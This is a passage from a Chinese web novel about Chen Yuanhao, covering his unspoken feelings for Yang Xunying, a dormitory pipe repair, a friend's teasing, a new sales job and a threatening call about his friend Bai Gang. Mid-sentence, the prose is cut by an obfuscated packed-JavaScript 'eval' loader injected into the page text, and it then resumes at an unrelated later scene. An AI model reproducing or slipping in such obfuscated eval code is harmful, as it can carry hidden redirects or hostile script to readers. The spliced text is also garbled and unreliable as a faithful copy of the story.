心里那股滋味说不清楚,只是觉得不好受。 很不好受。 “阿豪,你咋才出来??”白刚不知从哪个拐角冒出来,抬手拍了下陈远豪的后背,“我刚才慌着往外跑,手还下意识抓着你呢,结果一回头——得,人没了,这不赶紧回来找你了嘛。” 陈远豪被拍得晃了下肩,也顺势收回了那满脑子缠缠绕绕的思绪。 他本就不是揪着事不放的性子,当下便强迫自己把那些破事抛到脑后,斜睨着白刚,语气里带着一如既往的调侃:“还能为什么?替你这没规矩的家伙结账去了。我可没你那么没有道德底线,吃完抹嘴就溜。一共5998,这钱你可得记着,别跟我装糊涂。” 以白刚那德性,这钱大概率是要不回来的,不过是随口逗逗对方,没真指望他还。 一听见“钱”字,白刚瞬间蔫了,悻悻地瞥了他一眼,目光飞快落在他手里的玫瑰上,赶紧转移话题,语气又带上点油滑的好奇:“还揣着花呢?咋不去约会,在这儿瞎晃悠?跟哥说说,约的是哪个姑娘的,长得带劲不?” 陈远豪心里沉了沉。 他低头看了眼手里的花,眸子微不可察地动了动。 恰好有位清洁工推着环卫收集车朝他们这边过来。 他抬眸,勾起了唇角,故意晃了晃手里的玫瑰,语气洒脱得像是没半点波澜:“什么约会?就是刚才出去,刚好碰到个老板塞促销花,我随手拿着玩的。” 话音刚落,他手腕一扬,就把那束玫瑰丢进了环卫收集车的可回收物箱里。 14. 第 14 章 陈远豪回到宿舍时,崔贤躺在床上刷手机,抬眼瞥见他,又扫了眼屏幕上的时间:“你怎么这么早就回来了?” 陈远豪扯了扯嘴角,哼笑一声:“那你说,我该几点回来才合你意?” 他径直走到衣柜前,抬手脱掉西装外套,简单叠好后扔了进去。又解开皮带褪下西裤,随手抓过一套宽松睡衣换上。 不知是哪来的火气,让他浑身透着股烦躁引发的燥热,穿上睡衣又觉得闷,干脆把睡衣上衣也扒了,只留着条宽松的家居裤。裤子没完全提上去,露出一小截黑色内裤边。 宿舍里刚安静没一会儿,“滴答、滴答”的滴水声突然传了过来。 崔贤竖起耳朵听了听:“你们听见没?好像是厨房的水管漏了?” “听着像,”白刚接话,“阿豪,这活儿还得靠你!” 刚要往床上爬的陈远豪顿住脚步,眉头蹙了蹙,眼底蒙着层不耐烦的沉郁。他现在什么都不想想,就想睡一觉。 他语气听不出情绪:“要不叫个维修师傅吧?” 白刚笑着打趣:“怎么,平时修东西那么利索,今儿个倒想偷懒了?” 陈远豪不想多解释,只揉了揉眉心,脸上带着几分无奈的认命,没再多犹豫:“算了,我来吧。” 说完,他转身走向阳台角落的储物柜,拿上管钳和防水胶带就往厨房走。因为他学东西快,就算是结构复杂的组装家具、故障难查的小家电,照着说明书摆弄两下就能搞定,早成了大家默认的“修理担当”。 这会儿他蹲下身,确认是密封圈老化导致的渗水,随即用管钳拧漏水的接口,可手指没控制好力道,管钳“咔嗒”一声磕在水管上…… “……”连这点简单的活都干不利索了。陈远豪肩膀一松,整个人垮了半截,干脆放下手里的工具随意扔在一旁,微微扬起头,阴沉的目光落在天花板上。 陈远豪从不是扭捏着不敢直视内心的人,相反,他遇事拿得起也放得下。可这份洒脱,全是建立在“不在乎结果”的底气上。 可面对杨峋英时,他爽朗的性子却添了几分顾虑,连言行都不自觉变得谨慎收敛,就像人面对真正在意的东西,总会本能地变得小心翼翼。 所以他对杨峋英的这份心意,分明就是喜欢。坦荡如他,没什么好否认的。 矛盾和纠结在心里转了几圈,最终还是刻在骨子里的坦诚占了上风。与其把喜欢憋在心里翻来覆去难受,不如大大方方说出来。 方才和白刚吃饭时,他满脑子都是这事,连菜都没吃几口,甚至提前在心里演练好了说辞。等会儿见到杨峋英,俩人喝得差不多了,就找个时机跟他说—— “跟你说个事,我喜欢你。你要是觉得行,以后我罩着你;要是不行也没辙,我不会缠着你。就是这事得跟你说清楚,我不喜欢藏着掖着。” “你失恋了?”崔贤不知道什么时候凑了过来,蹲在他旁边,观察着他的表情,突然冒出这么一句。 陈远豪晃了晃神,把思绪拉了回来。 他眼皮轻抬,看了崔贤一眼,随即重新拿起防水胶带对准水管接口缠绕,沉声道:“我连恋都没谈过,哪来的失恋?你要是来这儿帮不上忙,就赶紧挪挪地儿,俩人挤在这儿跟蒸包子似的,热得慌。” “那你这……”崔贤冲那缠得歪歪扭扭的防水胶带扬了扬下巴。 “手滑没捏稳而已,多大点事。”陈远豪慢条斯理地说。 崔贤似笑非笑地看了他一眼。以前陈远豪在老街区倒腾二手家电翻新的活,那片地盘早被当地地头蛇划了势力范围,他没打招呼就进场,等于动了人家的蛋糕。那些人之后没少找他麻烦,今天故意挡他的进货路,明天又在他摊位前找茬,变着法地给他穿小鞋。后来干脆一群人堵在巷口,他怕牵连朋友没喊人帮忙,硬是一个人跟一群人对峙。回到宿舍,崔贤给他上药时,才看见他胳膊上划了道半指宽、近十厘米长的口子,皮肉翻卷着,直到多年后的现在,崔贤都记得那道伤口有多触目惊心。 跟陈远豪认识久了就会发现,这人表面上总一副什么事都无所谓的样子,永远看不到他愁眉苦脸,也从不会说半句丧气话,可那些没说出口的烦心事,全被他自己闷在心里扛着。 知道问也问不出什么的崔贤,掏出手机,在微信上给陈远豪发了个百度网盘链接。 陈远豪修完水管爬上床,心里那股不爽的劲儿虽淡了些,却仍像堵着团闷火。 他叹口气,习惯性摸过手机,一眼就瞥见崔贤发来的消息。明知道里面没什么好内容,可躺着也未必能睡着,还是点了开来。 点开的是一份足足1个G的同/志高清□□视频。 陈远豪瞬间就领会了崔贤的意思。 崔贤本就比另外两个神经大条的人心细,想来是从些蛛丝马迹里,窥破了他性取向的端倪。 他往崔贤的床位睨了眼,对方恰好察觉到他的目光,四目相对时,还一脸坏笑地欠欠地扬了扬眉。 世人总说男人是下半身思考的动物,陈远豪也没例外。否则当初刚和杨峋英认识没多久,也不会亲得不管不顾。 所以即便杨峋英主动吻了他,他心里虽有波澜,却没真当回事。毕竟在他以往的认知里,这样的亲近,未必就代表喜欢的意思。 陈远豪的脸皮够厚,可盯着屏幕里赤/裸裸的性//爱视频,纵然心里觉得刺激,耳尖还是不受控地慢慢红透。 熬到半夜,他翻来覆去实在睡不着,燥热难消,连忙轻手轻脚起身,溜去了浴室。 等他出来时,已经过去了足足二十几分钟。他躺回床上,眼睛盯着天花板,脑子里乱糟糟的,半天都没合上眼。 陈远豪向来想得开,杨峋英那态度明摆着没把他放在心上,他就算再喜欢,也犯不着在一棵树上吊死。与其揪着不属于自己的人内耗,不如把心思挪开。 再过两天就要去新公司做销售,到时候能接触新圈子。既然能借亲密关系获得刺激、感受快感,那不如就按让自己快活的方式来,以他的条件,想找个处得来的对象,还不是手到擒来的事? 接下来的半个多月,陈远豪日子照样按部就班往前赶。他找了家做建材销售的公司,嘴甜脑子活, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“就算真没等到那时候也无所谓。人活一辈子,不就图个自在乐呵?开心就好,犯不着跟眼前这点落差较劲。” 陈远豪拧开药瓶,正对着镜子往肿脸上擦药,桌面上的手机突然响了。 他放下药瓶拿起手机,划开屏幕一看是陌生号码,顺手就接了起来。 对面先沉默了几秒,才传来个冰冷的声音:“你跟那个叫白刚的小子走得挺近吧?你朋友现在在我这儿,要不要过来认认人?” 陈远豪心里骤然紧了一下,预感到事态不妙,却强行压下翻涌的担忧和疑惑,扯着唇角轻笑一声:“空口白牙说两句,我怎么知道你不是拿话蒙我?” 对面又静了静,紧接着,电话里就传来白刚带着哭腔的求饶声,还混着拳头砸在肉上的闷响,显然是正挨揍。 陈远豪瞬间从椅子上弹起来,攥着手机的指节绷得发白,黑眸里冷光乍现,声音却依旧不急不缓,只是那股子森然寒意藏都藏不住:“你要找的人是我,我按你说的来,折腾无关的人,也落不着你想要的结果。” “给你半小时,自己一个人过来。”对面报出个地址后,直接挂了电话。